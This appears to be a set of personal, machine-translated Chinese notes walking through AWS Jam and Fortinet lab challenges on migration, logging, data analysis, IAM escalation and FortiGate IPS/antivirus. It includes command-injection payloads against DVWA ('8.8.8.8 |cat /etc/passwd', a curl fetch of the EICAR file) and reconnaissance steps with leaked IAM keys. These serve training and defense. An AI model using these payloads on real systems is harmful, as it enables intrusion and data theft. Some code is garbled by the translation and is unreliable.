简单翻译(额)

1.
AUTOMATE MIGRATION STEPS
自动化迁移步骤

2.
AUTOMATE NETWORK REACHABILITY ASSESSMENT
自动化网络可达性评估

3.
BE AN EC2 LUMBERJACK
成为 EC2 伐木工人

4.
wing cells in your notebook.
EDA 来拯救这一天!

5.
GALACTIC RICKLEGE ESCALATION
银河里克雷奇升级
太多了!!!只搞了一部分


6.
SECURING ACME‘S TRANSIT GATEWAY WITH NGFW
使用 NGFW 保护 ACME 的传输网关

7.
unknows
你的任务:
此任务的目标是运行一些基本的渗透测试并使用 FortiGate 入侵防御系统 (IPS) 阻止威胁,而不仅仅是检测攻击并传递流量。修改“inbound_https_dvwa”固件策略的 FortiGate 配置以成功阻止这些攻击。

8.
unknow2
你的任务:
此任务的目标是阻止恶意软件的下载,即使它们是通过 SSL\TLS 等加密 Web 协议下载的。您将修改“outbound_all”固件策略的 FortiGate 配置以成功阻止恶意软件下载。

9.
unknow3
你的任务:
此任务的目标是修复“east-west_mgmt”固件策略中使用的未解析 SDN 地址对象“sdngrp_prod_jumpbox1”。当前配置的其他 SDN 地址对象正在正确解析,因此 FortiOS SDN 连接器本身和通过 IAM 实例角色提供的权限正常运行。

10.
SCALING YOUR MIGRATION OPERATIONS
扩展您的迁移操作

1.自动化迁移步骤
AUTOMATE MIGRATION STEPS
自动化迁移步骤

挑战细节
反馈
概述
您正在帮助您的公司从数据中心迁移到AWS。在迁移过程中,通常会有一些重新配置步骤,从数据库端点或代理设置到包部署。这些步骤很容易出错,也很耗时,因此自动化这些步骤对于扩展迁移是必要的。
您面临的挑战是使用AWS Sytems Manager在迁移的服务器上执行一些重新配置。
可能得分:80分线索惩罚:0分赢得:72分可用:80

在这里输入答案
完整的!
解决这一挑战

您面临的挑战是执行一些应用程序重新配置,以便将web服务器与应用程序数据库重新连接。
使用AWS Systems Manager,您应该能够在迁移的服务器上执行某些任务,而无需手动连接到该服务器。
完成挑战后,网站应显示答案。网站地址为:http://[您的ec2公共IP地址]
在您的实验室环境中,您会发现:
公共EC2实例
/var/www/html中包含设置的config.php文件

MySQL-RDS数据库
线索
罚8分
线索1:从哪里开始?
AWS系统管理器包含多个功能。今天有趣的是Run命令和参数存储(可选)。
Run命令允许您针对托管服务器运行文档。文档是运行管理任务(如执行脚本、安装修补程序或执行软件安装)的简单方法。文档可以由客户管理,也可以由AWS管理。看一下已有的文件。
参数存储是一个方便的键值存储,可以帮助您存储应用程序的设置,如连接字符串、用户名或密码。
对于解决方案,您应该运行两个脚本,一个用于发现文件夹/var/www/html中配置文件config.php的内容,另一个用于通过system manager对配置文件进行调整。不要使用S3或CloudWatch来解决此解决方案。

罚10分
线索2:使用SSM获取配置文件

罚12分
线索3:让我们直说吧


2.自动化网络可达性评估
AUTOMATE NETWORK REACHABILITY ASSESSMENT
自动化网络可达性评估

挑战详情
回馈
概述
此挑战围绕如何构建用于 EC2 实例网络评估的自动化解决方案。

可能得分:150 线索罚分:-56 可用得分:94
在此处输入答案
您被一家利用 AWS 运行其服务的初创公司聘为云安全架构师。您被要求开发一种可以自动对 AWS 账户中的所有 EC2 实例执行网络安全评估的解决方案。 CISO 不希望您更改/终止 EC2 实例或任何网络配置(VPC、安全组……)。他只对 EC2 实例如何暴露在互联网上感兴趣。

该解决方案应该适用于可能由工程师创建的任何网络配置,并且应该在任何 EC2 实例的状态发生变化时执行。由于运营开销问题,您的 CISO 不希望在 EC2 实例上安装任何类型的代理。您的解决方案应仅在 EC2 实例状态更改时执行。

挑战验证:

有一个自动化流程来检查您的 AWS 资源以确保创建了正确类型的资源
该过程每分钟运行一次
一旦该过程确定您创建了正确的解决方案,它将更新您的 AWS CloudWatch Rule(Hint) 的描述。
新更新的描述是挑战的答案。
线索
罚分:15分
线索 1:CloudWatch 事件规则可以根据 EC2 实例状态变化触发多个目标
您可以使用简单的 CloudWatch 事件规则根据 EC2 实例状态更改轻松执行多个目标(AWS 服务)(请参阅 https://docs.aws.amazon.com/AmazonCloudWatch/latest/events/Create-CloudWatch-Events-规则.html )

请注意:您不需要在实验室中有 EC2 实例来解决挑战。

罚分:19分
线索 2:Amazon Inspector 测试您的 Amazon EC2 实例的网络可访问性以及在这些实例上运行的应用程序的安全状态
Network Reachability 包中的规则分析您的网络配置以查找 EC2 实例的安全漏洞。 Amazon Inspector 生成的调查结果还提供了有关限制不安全访问的指导。它不需要您在实例上安装任何代理

罚分:22分
线索 3:CloudWatch 事件规则与 Amazon Inspector 可以成为检测所有 EC2 实例的网络可达性的强大组合
请参阅 https://aws.amazon.com/blogs/security/amazon-inspector-assess-network-exposure-ec2-instances-aws-network-reachability-assessments/

3.成为 EC2 伐木工人
BE AN EC2 LUMBERJACK
成为 EC2 伐木工人

挑战详情
回馈
概述
欢迎来到未来!堡垒主机太2016了。你能从这个挑战中的资源中伐木密码吗?

可能积分:150 线索罚分:0 获得积分:150 可用积分:150
在此处输入答案
完全的!
概括
堡垒主机可能难以安全地大规模管理。您必须担心访问和身份验证、用户管理和下游访问控制,更不用说审核特权命令了。

提取日志数据
您是否知道可以将 EC2 日志传送到 CloudWatch Logs?你当然知道。但是,如果您需要在资源处于活动状态后这样做怎么办?虽然 CloudWatch Logs 是一个用例,但在本次挑战结束时,您已经有效地消除了对堡垒主机的需求。

存货
4 个 Amazon Linux EC2 实例
1x 客户 SSM 文件
讨论
密码分为 4 部分,每部分都嵌入在:

/var/log/messages
您需要将日志从那里取出并将它们拼凑在一起以获得答案!
要在运行的实例上执行此操作,您需要遵循此处提供的指南:快速入门:在运行的 EC2 实例上安装和配置 CloudWatch Logs 代理。别担心,“/etc/awslogs/awslogs.conf”已经配置好了,你可以跳过那部分!

因此,您需要按顺序在每个实例上运行这 3 个命令:

curl https://s3.amazonaws.com//aws-cloudwatch/downloads/latest/awslogs-agent-setup.py -O
chmod +x ./awslogs-agent-setup.py
./awslogs-agent-setup.py -n -r -c /tmp/cwl.config
不要忘记更换您正在工作的地区。

将其放入 CloudWatch Logs 后,当您看到它时,您就会知道它是正确的字符串!不要忘记使用 CloudWatch Logs 中的过滤器。

线索
罚分:15分
线索 1
罚分:19分
线索2
罚分:22分
线索3


4.EDA 来拯救这一天!
wing cells in your notebook.
EDA 来拯救这一天!

挑战详情
任务1
任务 2
输出属性
回馈
下一个
概述
为 Protosight 工作的 CISO 疯狂地打电话给你,说员工收到了一个自称 WOPR 的人的神秘电子邮件,他们提出了奇怪的要求。与联邦执法部门合作,她了解到这不是骗局,其他公司已经成为 WOPR 的目标!受害公司能够在其系统关闭之前捕获有限数量的流量数据,并在显示器上喷出复杂的井字游戏。您能否帮助提供来自 Protosight 数据的恶意流量预测,以便公司能够阻止令人担忧的 WOPR 威胁?

挑战进度
任务状态 可能的点数 线索 扣除点数 获得的总点数
不完整 100 -38 –
锁定 100 0 –
获得的总积分:0

任务一:只有土豆头先生的最佳技巧
可能点数:100 线索罚分:0 可用点数:100
在此处输入答案
背景

可以在 AWS Open Registry (https://registry.opendata.aws/cse-cic-ids2018/) 中找到受害者流量数据。为了节省时间,Protosight SOC 建议使用以下与 Protosight 最接近的数据。

s3://cse-cic-ids2018/ML 算法的已处理流量数据/Wednesday-28-02-2018_TrafficForML_CICFlowMeter.csv
你的任务

根据 CISO 的指令,将历史网络数据加载到 Pandas 数据框中,以便 Protosight 分析师可以开始使用这些数据。

为确保正确加载数据,请为记录 100 提供“流动持续时间”。

入门

通过导航到 AWS 管理控制台中的 Sagemaker 服务打开 Amazon Sagemaker 控制台
在 Notebook 下选择 Notebook 实例。
打开以EDA开头的实例,点击“打开Jupyter”按钮。
创建一个新的空白笔记本。
测试 Cell 是否在笔记本中正确创建和执行。 (即:1+1,或“a”==“a”)
故障排除

您可能会遇到的一些错误:

如果需要,请务必安装 s3fs 并重新启动 sagemaker。
点安装s3fs
请小心验证数据是否正确加载。删除任何不正确的数据。
库存 无

您应该使用的服务

贤者
S3
Python 3(您可以使用 R 或 Python 2,但是,线索都是 Python 3)
任务验证

您需要查找并提交所需的数据。

线索1:
罚分:10分
线索 1:自动拨号器(将数据加载到数据帧中)
您的第一个单元格应该将 s3 数据加载到数据帧中。使用 boto3、pandas 和 s3fs,您可以在一行中完成此操作。

单元格 1:

导入 boto3
将熊猫导入为 pd
导入 s3fs
df = pd.read_csv(‘s3://cse-cic-ids2018/机器学习算法的已处理流量数据/Wednesday-28-02-2018_TrafficForML_CICFlowMeter.csv’,low_memory=False)

罚分:13分
线索2:人们有时会犯错(Fixing data errors)
浏览数据,您可能会发现某些项目被误读。特别是此数据的格式可能会重复标题信息。

查看此信息的一种简单方法是查看“标签”列。

df["标签"].value_counts()
1
您应该只看到“良性”和“渗透”两个值。如果您确实看到“标签”,则表示标题未正确加载到数据框中。这可以通过以下代码修复。

df = df[df.Label != “标签”]

罚分:15分
线索 3:完成演练
通过导航到 AWS 管理控制台中的 Sagemaker 服务打开 Amazon Sagemaker 控制台
在 Notebook 下选择 Notebook 实例。
打开以EDA开头的实例,点击“打开Jupyter”按钮。
您应该会在右上角看到一个带有 Jupyter 的空白页面,在右侧单击“新建”按钮和 conda_python3。
在您的笔记本中创建并运行以下单元格。
单元格 1:

导入 boto3
将熊猫导入为 pd
导入 s3fs
df = pd.read_csv(‘s3://cse-cic-ids2018/机器学习算法的已处理流量数据/Wednesday-28-02-2018_TrafficForML_CICFlowMeter.csv’,low_memory=False)
单元格 2:

df = df[df.Label != “标签”]
df[100:101]
您应该能够看到第 100 行的“Flow Duration”为 247

任务2:我们来玩个游戏吧?
可能得分:100 线索罚分:-38 可用得分:62
在此处输入答案
背景

加载数据后,CISO 有足够的信心启动 Protosight 的 MSSP 紧急事件响应团队。不幸的是,由于合同中的预算削减,他们每个工作日只能支持 1 小时。

你的任务

假设威胁情报数据的历史趋势是正确的,您建议他们支持哪个小时的攻击最多(即:2、6、9)?

入门

您应该使用从任务 1 加载的相同数据。如果不是,请运行以下代码。

通过导航到 AWS 管理控制台中的 Sagemaker 服务打开 Amazon Sagemaker 控制台
在 Notebook 下选择 Notebook 实例。
打开以EDA开头的实例,点击“打开Jupyter”按钮。
创建一个新的空白笔记本。
测试 Cell 是否在笔记本中正确创建和执行。 (即:1+1,或“a”==“a”)
创建并运行以下笔记本中的翼细胞。
单元格 1:

导入 boto3
将熊猫导入为 pd
导入 s3fs
df = pd.read_csv(‘s3://cse-cic-ids2018/机器学习算法的已处理流量数据/Wednesday-28-02-2018_TrafficForML_CICFlowMeter.csv’,low_memory=False)
单元格 2:

df = df[df.Label != “标签”]
df[100:101]
库存 无

您应该使用的服务

贤者
S3
Python 3(您可以使用 R 或 Python 2,但是,线索都是 Python 3)
任务验证

您需要查找并提交所需的数据。

线索
罚分:10分
线索1:我一直以为会有很多时间! (时间考虑和所需的特征工程)
当前的数据格式使得很难看到检测到日志的小时数。一个好的做法是将时间对象转换为日期时间对象,并为“小时”添加一个额外的列。

将时间戳更改为日期时间对象

df[‘时间戳’] = pd.to_datetime(df[‘时间戳’])
为“小时”创建一个列

df[‘小时’] = df.Timestamp.dt.hour
罚分:13分
线索2:这是一个无聊的游戏。这总是一个平局。 (分组相关数据寻找答案)
CISO 想知道每小时渗透尝试的次数。对此进行排序的一种方法是查找每小时的“渗透”尝试次数。

df.groupby(‘小时’)[‘标签’].value_counts()
罚分:15分
线索 3:完成演练
通过导航到 AWS 管理控制台中的 Sagemaker 服务打开 Amazon Sagemaker 控制台
在 Notebook 下选择 Notebook 实例。
打开以EDA开头的实例,点击“打开Jupyter”按钮。
您应该会在右上角看到一个带有 Jupyter 的空白页面,在右侧单击“新建”按钮和 conda_python3。
在您的笔记本中创建并运行以下单元格。
单元格 1:

导入 boto3
将熊猫导入为 pd
导入 s3fs
df = pd.read_csv(‘s3://cse-cic-ids2018/机器学习算法的已处理流量数据/Wednesday-28-02-2018_TrafficForML_CICFlowMeter.csv’,low_memory=False)
单元格 2:

df = df[df.Label != “标签”]
df[100:101]
单元格 3:

df[‘时间戳’] = pd.to_datetime(df[‘时间戳’])
df[‘小时’] = df.Timestamp.dt.hour
df.groupby(‘小时’)[‘标签’].value_counts()
您应该能够看到最多的渗透攻击发生在 11 和 33552。

5.银河里克雷奇升级
GALACTIC RICKLEGE ESCALATION
银河里克雷奇升级


太多了!!!只搞了一部分
罚分:20分
线索1:先生Meeseeks 身份危机
Meeseeks 先生的身份危机

您已获得 IAM 访问密钥,您还在等什么?

在这个挑战中,您不需要保证 OPSEC 安全,但为什么是现在?因此,将侦察限制在您真正想知道的范围内。首先,就像您在实际练习中所做的那样,将 IAM 访问密钥保存到 .aws/credentials 并为其分配一个配置文件名称。所有示例都将使用配置文件“银河”。

您需要将 111222333444 替换为您为挑战分配的 AWS 帐号。

替换挑战环境的示例 ID:
替换示例 AWS 帐号 111122223333。请记住,AWS 帐号是 S3 存储桶名称和 ARN 的一部分。

一些要使用的调用(请随意使用您自己的调用):
aws sts get-caller-identity --profile galactic [现在您拥有 IAM 用户 ARN,包括 AWS 帐号和 UserId]
aws s3 ls --profile galactic [什么都没有,最低权限对吗?]
aws iam list-attached-user-policies --user-name galactic-jenkins --profile galactic [什么都没有,没有附加政策]
aws iam list-user-policies --user-name galactic-jenkins --profile galactic [现在您获得了当前策略名称,必须是内联策略]
aws iam get-user-policy --user-name galactic-jenkins --policy-name jenkins_policy --profile galactic [现在你有了政策声明,宾果!]
aws s3api list-objects-v2 --bucket galactic-federation-jenkins-code-111222333444 --profile galactic [在其他权利中,您可以访问 S3 Bucket,列出其中的内容......]
[...并下载内容。这是一个 bash 脚本示例,但您可以使用任何您想要的编码语言。]
#!/bin/bash
对于 i 在 {9857…9863} 中;做
aws s3api get-object --bucket galactic-federation-jenkins-code-111222333444 --profile galactic --key "notes/shift-notes-i" shift − notes − {i}" shift-notes-i"shift−notes -{i};
完毕

此处未显示对 AWS CLI 调用的响应,将在最后一条线索完整演练中提供。
罚分:26分
线索二:鸟人混淆
鸟人混淆

你得到了这些文件,但它们不是人类可读的。至少不是所有人都可以,但我敢打赌有些人可以。

Bird Person 不是人类,所以他能够弄清楚这不是 KMS 客户端加密,只是双 base64 编码。

这是一个 bash 脚本,可以帮助加快解码过程,前提是您之前已经下载了这些文件:
#!/bin/bash
对于 i 在 {9857…9863} 中;做
base64 --decode shift-notes-i > s h i f t − n o t e s − {i} > shift-notes-i>shift−notes−{i}.b64;
base64 --decode shift-notes-i 。 b 64 > s h i f t − n o t e s − {i}.b64 > shift-notes-i.b64>shift−notes−{i}.md;
完毕
cat shift-notes-*.md

其中一个文件将包含以下信息:

2066 年 10 月 15 日的轮班笔记
如果您加班,请在银河时间跟踪系统中打卡和打卡
银河夹克洗衣的费用代码是 C-137
确保 galactic node.js 版本 8 用于 lambda 函数
银河自助餐厅每周二免费提供夏威夷披萨,请与船长 sdrufles 一起获取优惠券
使用此命令可以找到标准的 galactic linux AMI,为您正在部署它的区域替换 ``````:
aws ec2 描述图像
– 所有者亚马逊
–过滤器“名称=名称,值=amzn2-ami-hvm-2.0.???.?-x86_64-gp2”“名称=状态,值=可用”
– 查询“反向(sort_by(图像,&CreationDate))[:1].ImageId”
– 输出文本
-地区
–轮廓银河
向银河害虫控制中心报告人类侵扰
银河 SOC 报告了闯入我们银河 Jenkins 服务器的企图,安全工程正在调查它,保持警惕并向安全提示热线报告任何可疑活动
s3_level7_role 不再用于访问银河系,云工程正在修复
所有更改都需要经过适当的批准,不要在没有批准的票证的情况下将新代码推向生产
由于大分类账黑客,汽水机不再接受比特币,以太币仍然被接受
22:00后入住,可乘坐出租车回家,可报销
现在你自己回来了。如果您需要更多帮助,Summer 将在您身边。
罚分:30分
线索3:夏天我们信任
在我们信任的夏天

替换挑战环境的示例 ID:
替换示例 AWS 帐号 111122223333。请记住,AWS 帐号是 S3 存储桶名称和 ARN 的一部分。
有用的信息如下:
使用此命令找到标准的 galactic linux AMI,将“aws_region”替换为您正在部署它的区域:
aws ec2 描述图像
– 所有者亚马逊
–过滤器“名称=名称,值=amzn2-ami-hvm-2.0.???.?-x86_64-gp2”“名称=状态,值=可用”
– 查询“反向(sort_by(图像,&CreationDate))[:1].ImageId”
– 输出文本
–region aws_region
s3_level7_role 不再用于访问银河系,云工程正在修复

除非该注释是复杂蜜罐的一部分,否则,请使用您所使用的


6.使用 NGFW 保护 ACME 的传输网关
SECURING ACME‘S TRANSIT GATEWAY WITH NGFW
使用 NGFW 保护 ACME 的传输网关


背景:
Web 应用程序的开发人员无法访问分支 VPC 中的 Web 服务器之一!最后工程师莫名其妙把生产环境的所有网络图都删了……

你的任务:
此任务的目标是修复路由问题并确认您可以从 Jumpbox 成功 ping 两个 Web 服务器。

入门:
使用 CloudFormation 模板的输出,通过 SSH 连接到 JumpBox1 并使用 ICMP 验证与 WebSrv1 和 WebSrv2 的连接。无法访问这些实例之一

登录 EC2 控制台获取 WebSrv1 和 WebSrv2 的私有 IP 地址。 (请注意,ICMP 之外的任何其他协议目前都不起作用)。

附带说明一下,当您通过 SSH 连接到 JumpBox1 时,您实际上是在通过 FGT 的弹性 IP 使用端口转发(在外部 TCP 端口 221 上),因此流量流经 FortiGate 实例和 FortiOS 策略以进行授权并路由到 JumpBox1。您应该确保您没有使用公司 VPN 或任何会阻止您通过 TCP 端口 221 连接到演示环境的环境。

或者,您可以使用 CloudFormation 模板的输出直接通过 SSH 连接到 FortiGate 本身(在外部 TCP 端口 22 上),并使用如下所示的 FortiOS 命令运行数据包捕获并检查正在运行的路由表,同时从 JumpBox1 生成 ICMP 流量。

或者,如果您更喜欢使用基于 GUI 的 SSH 客户端,一旦您登录 FortiGate,您可以单击屏幕右上角的 >_ 图标并运行命令。

diag 嗅探器数据包任何‘icmp’ 4 0 l

获取路由器信息路由表全部

提示:您可以在测试流量时让嗅探器运行以帮助解决任务。

有关如何在 FortiOS 中使用内置数据包嗅探器的其他示例,请参考 kb.fortinet.com 上的知识库文章。

存货:
您确实知道当前环境正在利用 AWS VPC Transit Gateway 来设置一个安全 VPC 和两个分支 VPC。这些 VPC 为集中式流量检查提供中心辐射设计。安全 VPC 是所有网络流量的中心。所有入口、出口和东西向流量都将流经部署在安全 VPC 中的 FortiGate NGFW。每个分支 VPC 都包含一个网络服务器,并设置了默认路由以将所有流量定向到 TGW 附件。

使用中的服务:
AWS VPC Transit Gateway 路由表和 FortiGate FortiOS 路由。

任务验证:
成功完成此任务后,此任务的答案将由 lambda 函数提供,该函数将答案写入 CloudFormation 输出中指示的 S3 存储桶中的“task1-answer.txt”文件。下载此文件以获得此任务的答案。

各种各样的:
另外,如果您在使用 SSH 私钥时看到以下消息,则需要使用“chmod 400 ~/keypair.pem”更改权限。

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@

@警告:未受保护的私钥文件! @

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@

要修复 TGW 路由问题,请执行以下步骤:
您的 AWS VPC Transit Gateway 缺少传播设置,以下步骤更正了此错误配置。

通过导航到 AWS 管理控制台中的 VPC 服务来打开 VPC 控制台。

单击 Transit Gateway Route Tables 并选择 TGWSecurityRouteTable。

选择传播选项卡并单击创建传播。

在创建传播屏幕上,选择spoke2 VPC 的VPC 附件并选择创建。

选择路由选项卡并验证您现在是否看到了spoke2 的VPC CIDR。

要修复 FortiGate 路由问题,请执行以下步骤:
您的 FortiGate 缺少到达第二个辐条 VPC 的静态路由,以下步骤更正此错误配置。

使用 CloudFormation 模板中的 FortiGateLoginURL、用户名和 FgtInitialPassword 输出,登录到 FGT GUI。

系统将提示您更改初始密码。确保将您的新密码保存在安全的地方。

使用新密码重新登录后,在左侧菜单上,导航到网络,然后导航到静态路由。

单击 Create New 按钮并使用 10.2.0.0/16 作为目标,port2 作为接口,10.0.2.1 作为网关地址,最后单击 OK 应用您的更改。使用的网关地址是 AWS 内部路由器,它是 AWS 子网中的第一个主机 IP。

最后在左侧的菜单上,导航到 Monitor,然后导航到 Routing Monitor。验证 10.2.0.0/16 的路由现在是否在运行路由表中。

任务验证:
成功完成此任务后,此任务的答案将由 lambda 函数提供,该函数在 S3 存储桶中创建文件“task1-answer.txt”(这也在 CF 模板输出中)。下载此文件以获得此任务的答案。获取文件的分步说明如下。

通过导航到 AWS 管理控制台中的 S3 服务来打开 S3 控制台。

使用 S3存储桶从 CloudFormation 模板的 ucket 输出中,找到具有相同名称的存储桶。

选择文件“task1-answer.txt”并将其下载到您的机器上。

使用文本编辑器打开文件以查看您应为此任务提供的答案。


7.
unknows


背景:
您在 Acme 的第一天压力很大。当前可以通过 FortiGate 访问应用程序。在到达应用程序之前,您需要验证 FortiOS 是否已正确配置以检测和阻止常见攻击。看起来您的前任未能完成 FortiGate 的配置。

你的任务:
此任务的目标是运行一些基本的渗透测试并使用 FortiGate 入侵防御系统 (IPS) 阻止威胁,而不仅仅是检测攻击并传递流量。修改“inbound_https_dvwa”固件策略的 FortiGate 配置以成功阻止这些攻击。

入门:
使用 CloudFormation 模板输出“WebSrv1LoginURL”访问 HTTPS 站点,并使用凭据“admin”和“password”登录。导航到命令注入页面并提供 IP 地址,然后单击“提交”按钮。此输入字段的预期用途是为 Web 服务器提供 IP 或 FQDN 地址以进行 ping。但是,只需传递如下命令,我们就可以访问用户列表和本地用户密码的哈希值。

确保在网页文本框中输入整行(包括 IP、管道符号和其他 linux 命令)以测试漏洞。

8.8.8.8 |cat /etc/passwd

运行上面的命令以确认应用程序容易受到这种基本攻击。同时登录 FortiGate 并在日志和报告、入侵防御下查看检测到的 IPS 警报。

存货:
FortiGate 设置了 EIP,以提供对该死的易受攻击的 Web 应用程序 (DVWA) 的公共访问。

使用中的服务:
FortiOS IPS 传感器和防火墙策略。

任务验证:
完成此任务后,导航回入侵防御日志以获取完成字符串。该字符串答案是该特定攻击的 AttackID(即签名 ID)。确保您将答案输入到 Jam Console 中,没有任何前导或尾随空格。

各种各样的:

更改 FW 策略上的配置文件后,您将需要生成一个新会话以使用最新配置进行检查。这可能需要您多次生成流量以使用最新的 FW 策略设置触发警报。 *

确保您的 IPS 定义是最新的,以便检测\阻止威胁。这可以在 CLI 中使用命令“diag autoupdate versions”查看,并查看“病毒定义”和“攻击定义”值对于 IPS 而言高于 6.00000,对于 AntiVirus 高于 1.00000。为了更新定义,请使用 CLI 命令“exec update-now”,并在几分钟内检查 IPS 和 AV 的定义版本。 *

确保不要将 FortiOS 的固件从 6.2.3 GA 升级到任何其他版本。只需按照上面的说明仅更新 IPS、AV 等的定义。 *

要生成入站流量,请执行以下步骤:
使用“WebSrv1LoginURL”的 CloudFormation 模板输出访问 HTTPS 站点,并使用凭据“admin”和“password”登录。

导航到命令注入页面,在文本框中,将下面整行(包括IP、管道符号和其他linux命令)输入到网页文本框中以测试漏洞。

例如,您可以粘贴‘8.8.8.8 | cat /etc/passwd' 减去开始和结束引号。

8.8.8.8 |cat /etc/passwd

如果命令运行正常,网页将以红色返回 /etc/passwd 文件的内容。
要阻止入站攻击,请执行以下步骤:
登录到 FGT GUI 并在左侧的菜单上,导航到 Policy & Objects,然后是 IPV4 Policy,将 port1 的接口对扩展到 port2,然后编辑‘inbound_https_dvwa’ FW 策略。

在安全配置文件部分,将选定的 IPS 传感器更改为下面列出的任何传感器:

all_default
默认
高安全性
保护http_server
验证您的 SSL 检查配置文件是否仍设置为“ssl-mitm-https”,因为这允许在 SSL\TLS 保护的会话中可见。

最后在左侧菜单上,导航到日志和报告,然后导航到入侵防御。验证攻击日志是否显示“丢弃”而不是“检测到”的操作。

任务验证:
完成此任务后,导航回入侵防御日志以获取完成字符串。该字符串答案是该特定攻击的 AttackID(即签名 ID)。确保您将答案输入到 Jam 控制台中,没有任何前导或尾随空格。


8.
unknow2


背景:
随着您继续这一天,您现在已经完成了对新 Web 应用程序的渗透测试的一半。您的经理希望确保 FortiGate 保护所有到 Internet 的出口流量免受恶意软件的侵害。

你的任务:
此任务的目标是阻止恶意软件的下载,即使它们是通过 SSL\TLS 等加密 Web 协议下载的。您将修改“outbound_all”固件策略的 FortiGate 配置以成功阻止恶意软件下载。

入门:
导航回您的应用程序的命令注入页面。这次使用以下命令让易受攻击的应用程序下载已知病毒。

确保在网页文本框中输入整行(包括 IP、管道符号和其他 linux 命令)以测试漏洞。

4.4.2.2 | curl -k https://secure.eicar.org/eicarcom2.zip

如果文件通过 HTTPS 会话下载,您将看到文件的某些内容作为 Web 应用程序的 HTML 的一部分返回。此时,攻击者可以运行另一个简单的命令注入攻击来完成对主机的感染,并通过横向攻击将其传播到整个环境中。

存货:
FortiGate 设置了 EIP,以提供对该死的易受攻击的 Web 应用程序 (DVWA) 的互联网访问。

使用中的服务:
FortiOS AntiVirus 配置文件、SSL 检查配置文件和防火墙策略。

任务验证:
完成此任务后,导航到 AntiVirus 日志,答案是该特定恶意软件的 VirusID(即签名 ID)。确保您将答案输入到 Jam 控制台中,没有任何前导或尾随空格。

各种各样的:

更改 FW 策略上的配置文件后,您将需要生成一个新会话以使用最新配置进行检查。这可能需要您多次生成流量以使用最新的 FW 策略设置触发警报。 *

确保您的 IPS 定义是最新的,以便检测\阻止威胁。这可以在 CLI 中使用命令“diag autoupdate versions”查看,并查看“病毒定义”和“攻击定义”值对于 IPS 而言高于 6.00000,对于 AntiVirus 高于 1.00000。为了更新定义,请使用 CLI 命令“exec update-now”,并在几分钟内检查 IPS 和 AV 的定义版本。 *

确保不要将 FortiOS 的固件从 6.2.3 GA 升级到任何其他版本。只需按照上面的说明仅更新 IPS、AV 等的定义。 *

要生成入站流量,请执行以下步骤:
使用 CloudFormation 模板输出“WebSrv1LoginURL”访问 HTTPS 站点,并使用凭据“admin”和“password”登录。

导航到命令注入页面,在文本框中,将下面整行(包括IP、管道符号和其他linux命令)输入到网页文本框中以测试漏洞。

例如,您可以粘贴‘4.4.2.2 | curl -k https://secure.eicar.org/eicarcom2.zip' 减去开始和结束引号。

4.4.2.2 | curl -k https://secure.eicar.org/eicarcom2.zip

如果命令运行正常,网页将以红色返回这些文件的内容。
要阻止入站攻击,请执行以下步骤:
登录到 FGT GUI 并在左侧的菜单上,导航到 Policy & Objects,然后是 IPV4 Policy,将 port2 的接口对扩展到 port1,然后编辑“outbound_all”FW 策略。

在安全配置文件部分,将选择的 SSL 检查配置文件更改为下面列出的任何配置文件:

ssl-mitm-https
深入检查
定制深度检验
验证您的 AntiVirus 配置文件是否仍设置为“默认”。

重复本线索“生成入站流量”部分的上述步骤,通过正确配置的“outbound_all”固件策略生成流量,以便生成防病毒日志。

最后在左侧的菜单上,导航到日志和报告,然后导航到 AntiVirus。

任务验证:
完成此任务后,导航到 AntiVirus 日志,答案是该特定恶意软件的 VirusID(即签名 ID)。确保您将答案输入到 Jam 控制台中,没有任何前导或尾随空格。


9.
unknow3


背景:
整个 DevOps 团队都在你经理的办公室里大喊大叫,因为他缺少实施变更请求以允许通过新防火墙进行通信的 SLA!您能否通过使用任何 FortiOS 功能来使用基于标准 IP 和 FQDN 的地址对象来制定动态策略与静态策略,从而挽救经理的生命?

你的任务:
此任务的目标是修复“east-west_mgmt”固件策略中使用的未解析 SDN 地址对象“sdngrp_prod_jumpbox1”。当前配置的其他 SDN 地址对象正在正确解析,因此 FortiOS SDN 连接器本身和通过 IAM 实例角色提供的权限正常运行。

入门:
您正在使用称为 SDN 连接器的 FortiOS 功能根据运行实例的匹配元数据提供动态地址对象。此元数据可以是有关实例的信息,例如实例 ID、应用的标签、正在使用的安全组或其所在的 vpc\subnet。

登录 FortiGate 并导航到策略和对象,然后导航到地址并查看带有前缀“sdngrp_”的地址对象。如果将鼠标悬停在地址对象名称上,它将显示根据对象中指定的过滤器找到的实例 IP。将正在解析的地址对象与未解析的地址对象进行比较。同时登录 EC2 控制台并比较应用到运行实例的标签和 FortiGate 中的地址对象。

请注意,您应该只修改 EC2 实例标签,而不是已在 FortiOS 上配置的预定义地址对象。正常流程是 DevOps 团队部署具有正确标签的新实例,以匹配 FortiGate 上预定义的地址组和策略。 *
存货:
FortiGate 设置了一个实例角色,该角色提供 EC2 描述权限,用于根据标签名称和值对查找正在运行的实例。

使用中的服务:
FortiOS SDN 连接器、防火墙策略、AWS EC2 和标签。

任务验证:
成功完成此任务后,此任务的答案将由 lambda 函数提供,该函数将答案写入 CloudFormation 输出中指示的 S3 存储桶中的文件“task4-answer.txt”。下载此文件以获得此任务的答案。

要修复未解析的地址对象,请执行以下步骤:
JumpBox1 实例缺少标签 AppId=jumpbox1.example.com。登录 EC2 控制台并找到 JumpBox1 实例。

选择实例,然后在实例详细信息窗格中,选择标签选项卡。

选择管理标签,然后在下一个屏幕上添加如下所示的标签名称和值并应用您的更改:

密钥 = AppId
值 = jumpbox1.example.com
登录 FortiGate 并导航到策略和对象,然后导航到地址。

找到 SDN 对象‘sdngrp_prod_jumpbox1’并确保它保留在默认配置中。在 60 秒或更短的时间内,FGT 将自动找到此实例并使用私有 IP 更新 SDN 地址对象。

任务验证:
成功完成此任务后,此任务的答案将由 lambda 函数提供,该函数将答案写入 CloudFormation 输出中指示的 S3 存储桶中的文件“task4-answer.txt”。下载此文件以获得此任务的答案。

通过导航到 AWS 管理控制台中的 S3 服务来打开 S3 控制台。

使用 CloudFormation 模板的 S3Bucket 输出,找到具有相同名称的存储桶。

选择文件“task4-answer.txt”并将其下载到您的机器上。

使用文本编辑器打开文件以查看您应为此任务提供的答案。


10.扩展您的迁移操作
SCALING YOUR MIGRATION OPERATIONS
扩展您的迁移操作

您可以扩展您的迁移操作吗?
您的公司正在全力投入 AWS,而迁移团队的系统管理员刚刚在重要的迁移日请病假。 (可能最近几天工作太多,连接到每个实例重新配置它们)
您现在是迁移的主要系统管理员,但您是否可以每天迁移数百台服务器并在家中按时完成?
